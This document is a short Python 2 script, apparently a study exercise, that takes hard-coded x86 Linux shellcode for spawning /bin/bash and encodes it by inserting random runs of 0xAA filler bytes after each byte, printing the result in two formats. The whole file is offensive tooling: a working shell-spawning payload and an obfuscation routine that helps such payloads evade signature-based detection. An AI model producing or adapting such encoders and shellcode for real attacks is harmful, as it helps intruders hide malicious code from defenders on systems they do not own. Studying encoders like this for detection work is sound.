Python script to Encode the assembly shellcode

Insertion-Encoder.py

#!/usr/bin/python
# Python Random Insertion Encoder
# Author: Aditya Chaudhary
# Date: 5th Feb 2019


import random

shellcode = ("\x31\xc0\x50\x89\xe2\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

repeat = 0

for x in bytearray(shellcode) :
	repeat = random.randint(1, 5)
	#print "[#]"+str(repeat)
	encoded += '\\x'
	encoded += '%02x' % x
	encoded += '\\x'
	encoded += '%02x'% repeat

	encoded2 += '0x'
	encoded2 += '%02x,' % x
	encoded2 += '0x'
	encoded2 += '%02x,' % repeat

	for i in range(1, repeat+1):
		#print i
		encoded += '\\x%02x' % 0xAA
		# encoded += '\\x%02x' % random.randint(1,255)
		encoded2 += '0x%02x,' % 0xAA
	# encoded2 += '0x%02x,' % random.randint(1,255)


print encoded
print encoded2

print 'Len: %d' % len(bytearray(shellcode))